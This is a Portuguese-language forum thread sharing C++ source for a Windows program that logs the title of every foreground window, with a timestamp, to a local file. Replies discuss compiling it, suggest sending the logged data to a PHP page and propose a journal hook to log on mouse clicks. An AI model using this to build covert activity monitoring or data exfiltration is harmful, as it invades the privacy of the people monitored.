Hi,
Estou tentado relembrar C++, iniciei por este programa. Trata-se de um programa que loga o nome de todas as janelas acessadas em um arquivo .LOG, enquanto o programa estiver executando.
Obs: É um Window Application.
WINDOWLOGGER.CPP
#include <iostream>
#include <fstream>
#include <windows.h>
#include <cstring>
using namespace std;
HWND window,aux;
SYSTEMTIME time;
char titulo[255];
int hora,mim,sec;
ofstream log;
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
while(1){
Sleep(10);
window = GetForegroundWindow();
if(window !=0 && window!=aux){
GetWindowText(window,titulo,255);
aux = window;
if(strcmp(titulo,"")!=0){
GetLocalTime(&time);
hora = time.wHour;
mim = time.wMinute;
sec = time.wSecond;
log.open("c:\\log.log",ios::app);
log << "[";
if(hora < 10)
log << "0" << hora << ":";
else
log << hora << ":";
if(mim < 10)
log << "0"<< mim << ":";
else
log << mim << ":";
if(sec < 10)
log << "0" << sec << "] ";
else
log << sec << "] ";
log << titulo << "\n";
log.close();
}}}
return 0;
}
Ah, gostaria de agradeçer o incentivo de vocês, e aproveitar para dizer que não agradeço em todos os tópicos para evitar flood. Vlw.
Bye.
vc gostas mesmo de logger nê
ate que emfim um codigo cpp
eu nao vi a funçao main(), sera que funfa sem ela ?
no mingw ele bug na declaraçao do
SYSTEMTIME time;
rog
Acho que não vai funcionar sem o início da função main().
Ele poderia enviar as informações para uma página em PHP (Assim como a maioria dos seus codes), o que acha?
HadeS
Como se trata de um Window Application, a função MAIN() é susbstituída pela função WINMAIN().
Quanto ao erro do SYSTEMTIME, talvez seja necessário verificar se existe no header WINDOW.H do compilador.
Finalmente, voltando à sugestão do HadesS, posso implementar, obrigado pela sugestão.
#pragma comment(linker, "/ENTRY:Entrada")
void Entrada(){
}
Dá na mesma, e o exe fica menor. Você poderia melhorar esse programa com um WH_JOURNALRECORD. Toda a vez que o mouse for clicado (WM_MOUSEDOWN), compara as janelas e loga. É mais bonito e mais prático do que usar um loop infinito e Sleep().
Hi,
Legal sua colocação, confesso que não eu não pensei em utilizar HOOK que é mais bonitinho e prático como você disse, muito obrigado pela sugestão.
Bye.